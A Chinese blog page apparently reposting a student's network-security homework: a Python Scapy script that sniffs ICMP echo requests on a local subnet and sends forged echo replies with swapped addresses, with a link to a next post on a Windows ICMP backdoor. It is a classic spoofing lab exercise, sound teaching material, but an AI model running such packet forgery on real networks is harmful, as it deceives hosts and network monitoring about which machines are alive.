实现局域网icmp回送消息的捕捉和伪造响应消息
程序员文章站
2022-07-13 23:47:18
...
#!/usr/bin/python3
#by 小梅梅梅梅 网络安全作业
from scapy.all import *
def spoof(pkt):
if pkt.getlayer(ICMP).type==8: #
#pkt.show()
a=IP()
a.dst=pkt.getlayer(IP).src
a.src=pkt.getlayer(IP).dst
b=ICMP()
b.type=0
b.id=pkt.getlayer(ICMP).id
b.code=pkt.getlayer(ICMP).code
b.seq=pkt.getlayer(ICMP).seq
str=pkt.getlayer(Raw).load
p=a/b/Raw(str)
send(p)
print('THIS IS OUR POCKET ################################')
p.show()
#sniffing and spoofing
print('Start to sniff and spoof!')
pkt = sniff(filter='src net 10.0.2 and icmp ',prn=spoof)
下一篇: windows ICMP 后门